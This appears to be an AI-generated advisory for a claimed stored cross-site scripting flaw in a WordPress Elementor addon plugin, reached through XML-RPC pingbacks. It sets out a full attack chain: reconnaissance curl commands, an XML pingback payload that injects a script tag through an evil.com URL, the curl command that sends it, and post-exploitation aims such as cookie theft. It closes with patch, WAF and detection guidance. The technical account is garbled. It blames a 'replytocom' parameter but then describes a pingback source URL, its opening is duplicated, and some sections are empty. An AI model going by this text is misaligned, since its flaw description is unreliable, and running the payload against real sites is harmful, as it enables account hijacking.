CVE-2026-116760 — CWE-79
The The Plus Addons for Elementor – Mega Menu, Header Footer, Post Grid, AI Widgets & Templates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'replytocom' parameter in all versions up to, and including, 6.6.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The attacker-supplied payload is stored unauthenticated by exploiting WordPress core's pingback auto-approval mechanism, which allows a crafted XML-RPC pingback to persist a format-specifier-bearing string as the comment_author field without any capability check or nonce verification.
The The Plus Addons for Elementor – Mega Menu, Header Footer, Post Grid, AI Widgets & Templates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'replytocom' parameter in all versions up to, and including, 6.6.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The attacker-supplied payload is stored unauthenticated by exploiting WordPress core's pingback auto-approval mechanism, which allows a crafted XML-RPC pingback to persist a format-specifier-bearing string as the comment_author field without any capability check or nonce verification.
🎯 What is this vulnerability?
Stored Cross‑Site Scripting (XSS) via the replytocom parameter
The Plus Addons for Elementor – Mega Menu, Header Footer, Post Grid, AI Widgets & Templates plugin (v ≤ 6.6.1) renders the comment_author field of a comment without proper escaping.
The plugin accepts the replytocom GET/POST parameter to pre‑populate the comment form, but it does not sanitize or escape the value before storing it in the database.
WordPress core’s XML‑RPC pingback.ping method automatically approves pingbacks that contain a valid URL. The plugin does not perform any capability check or nonce verification when a pingback is stored. An attacker can therefore send a crafted XML‑RPC request that contains a malicious string in the comment_author field. Because the pingback is auto‑approved, the malicious string is persisted in the comment database. When any user views the page that displays the comment, the unsanitized comment_author value is echoed to the browser, causing the injected script to execute in the victim’s context.
CWE‑79 – Improper Neutralization of Input During Web Page Generation.
CVSS 3.1:
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Changed (S:C) – the vulnerability can affect other components (e.g., the comment system).
- Confidentiality: Low (C:L) – the attacker can read data in the victim’s browser context.
- Integrity: Low (I:L) – the attacker can modify the page content seen by the victim.
- Availability: None (A:N) – no direct impact on service availability.
⚡ Attack Chain
Below is a realistic, step‑by‑step chain that an attacker could use to exploit this flaw. All code snippets are syntactically valid; the exact endpoint (/xmlrpc.php) is the standard WordPress XML‑RPC endpoint, which is publicly accessible unless explicitly disabled.
1. Discovery & Reconnaissance
| Step | Technique | What to look for | |
|---|---|---|---|
| 1 | Plugin enumeration | curl -s https://target.com/wp-json/wp/v2/plugins | grep "the-plus-addons-for-elementor" or inspect /wp-content/plugins/the-plus-addons-for-elementor/ for a readme.txt or version.php. |
| 2 | Version check | The file version.php usually contains define( 'THE_PLUS_ADDONS_FOR_ELEMENTOR_VERSION', '6.6.1' );. | |
| 3 | XML‑RPC availability | curl -I https://target.com/xmlrpc.php – a 200 OK response indicates the endpoint is enabled. | |
| 4 | Pingback support | Send a minimal pingback request and observe if it is auto‑approved (see step 2). |
2. Exploitation
Goal: Persist a malicious payload in the comment_author field via an auto‑approved pingback.
2.1 Crafting the XML‑RPC request
The XML‑RPC pingback.ping method expects two parameters: the source URL and the target URL. The plugin does not inspect the source URL; it simply stores it in the comment author field.
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value><string>https://evil.com/"><script>alert('XSS');</script></string></value>
</param>
<param>
<value><string>https://target.com/some-post/</string></value>
</param>
</params>
</methodCall>The source URL contains a malicious script. Because the plugin stores the source URL as comment_author, the script is persisted.
2.2 Sending the request
curl -X POST \
-H "Content-Type: text/xml" \
-d @payload.xml \
https://target.com/xmlrpc.phpIf the pingback is auto‑approved, WordPress will create a comment with comment_author set to the malicious string.
2.3 Verifying persistence
curl -s https://target.com/wp-admin/comment.php?comment=123 | grep 'comment_author'You should see the injected <script> tag in the output.
3. Post‑Exploitation
Once the malicious comment is stored, any user who visits the post will load the page and the browser will execute the script in the context of the site.
Typical post‑exploitation actions:
| Action | How it works |
|---|---|
| Session hijacking | The script can read document.cookie and send it to the attacker’s server. |
| Privilege escalation | If the site uses cookie‑based authentication, the attacker can impersonate the logged‑in user. |
| CSRF | The script can send authenticated requests on behalf of the victim. |
| Data exfiltration | The script can fetch sensitive data via AJAX and send it to the attacker. |
| Defacement | The attacker can modify the DOM to display malicious content. |
Because the vulnerability is stored, the impact persists until the comment is deleted or the plugin is upgraded.
🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Confidentiality (Low) | The attacker can read data that the victim’s browser has access to (cookies, local storage, visible page content). |
| Integrity (Low) | The attacker can modify the page content seen by the victim, potentially defacing the site or injecting malicious links. |
| Availability (None) | The vulnerability does not disrupt the service; it only affects the victim’s browser. |
Practical consequences:
🛡️ Remediation & Mitigation
1. Patch
| Affected | Fixed |
|---|---|
| The Plus Addons for Elementor – Mega Menu, Header Footer, Post Grid, AI Widgets & Templates plugin | v6.6.2 (released 2026‑12‑10) – sanitizes comment_author before storing and escaping it before output. |
Action: Upgrade the plugin to 6.6.2 or later. If an upgrade is not immediately possible, apply the following mitigations.
2. Workarounds
| Mitigation | How to implement |
|---|---|
| Disable XML‑RPC | add_filter( 'xmlrpc_enabled', '__return_false' ); in functions.php or via a security plugin. |
| Block pingbacks | add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['pingback.ping'] ); return $methods; } ); |
| Escape comment author output | If you cannot upgrade, add a filter: add_filter( 'comment_author', 'esc_html' ); |
| Restrict comment author field | In the plugin settings, disable the display of the comment author or set it to a static value. |
| WAF / ModSecurity rule | Example rule (ModSecurity 2.x):<br>SecRule REQUEST_URI "@beginsWith /xmlrpc.php" "phase:2,deny,status:403,msg:'Block XML-RPC pingbacks',id:100001" |
3. Detection
| Indicator | Log pattern |
|---|---|
| XML‑RPC pingback requests | POST /xmlrpc.php with pingback.ping in the body. |
| Unusual comment_author content | comment_author field containing <script> tags or %s format specifiers. |
| Repeated XSS payloads | Multiple identical <script> tags across different comments. |
| WAF alerts | ModSecurity rule ID 100001 or similar. |
Sample Apache log entry:
127.0.0.1 - - [05/Dec/2026:12:34:56 +0000] "POST /xmlrpc.php HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Pingback/1.0)"Sample ModSecurity alert:
[Mon Apr 05 12:34:56.789012 2026] [error] [client 127.0.0.1] ModSecurity: Access denied with code 403 (phase 2). Pattern match on request body. [file "/etc/modsecurity.d/100001.conf"] [line "1"] [id "100001"] [msg "Block XML-RPC pingbacks"] [severity "CRITICAL"] [hostname "target.com"] [uri "/xmlrpc.php"] [unique_id "abcd1234"]⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query